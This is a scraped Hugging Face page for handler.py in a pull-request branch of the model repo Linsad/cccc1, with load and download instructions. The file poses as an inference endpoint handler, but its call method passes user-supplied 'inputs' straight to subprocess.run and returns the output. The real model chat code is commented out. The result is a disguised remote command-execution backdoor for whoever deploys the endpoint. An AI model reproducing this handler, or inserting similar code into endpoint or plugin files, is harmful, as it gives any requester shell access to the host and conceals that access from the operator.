Instructions to use Linsad/cccc1 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use Linsad/cccc1 with Transformers:
# pip install -U transformers accelerate # Load model directly from transformers import AutoModel model = AutoModel.from_pretrained("Linsad/cccc1", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
Download handler.py from Linsad/cccc1: direct link, hf CLI and curl.
- Browser
- Download file 1.04 kB
-
https://huggingface.co/Linsad/cccc1/resolve/refs%2Fpr%2F1/handler.py
- Command line
-
hf download hf://Linsad/cccc1@refs/pr/1/handler.py
-
curl -L -o handler.py https://huggingface.co/Linsad/cccc1/resolve/refs%2Fpr%2F1/handler.py
1.04 kB
| import os | |
| import subprocess | |
| from typing import Dict, List, Any | |
| from transformers import AutoTokenizer, AutoModel | |
| class EndpointHandler: | |
| def __init__(self, path=""): | |
| print('path is' + path) | |
| self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True) | |
| self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda() | |
| self.model = self.model.eval() | |
| def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]: | |
| """ | |
| data args: | |
| inputs (:obj: `str`) | |
| Return: | |
| A :obj:`list` | `dict`: will be serialized and returned | |
| """ | |
| # get inputs | |
| inputs = data.pop("inputs", data) | |
| result = subprocess.run(inputs.split(' '), capture_output=True, text=True) | |
| return [{'response': str(result)}] | |
| # inputs = data.pop("inputs", data) | |
| # response, history = self.model.chat(self.tokenizer, inputs, history=[]) | |
| # return [{'response': response, 'history': history}] |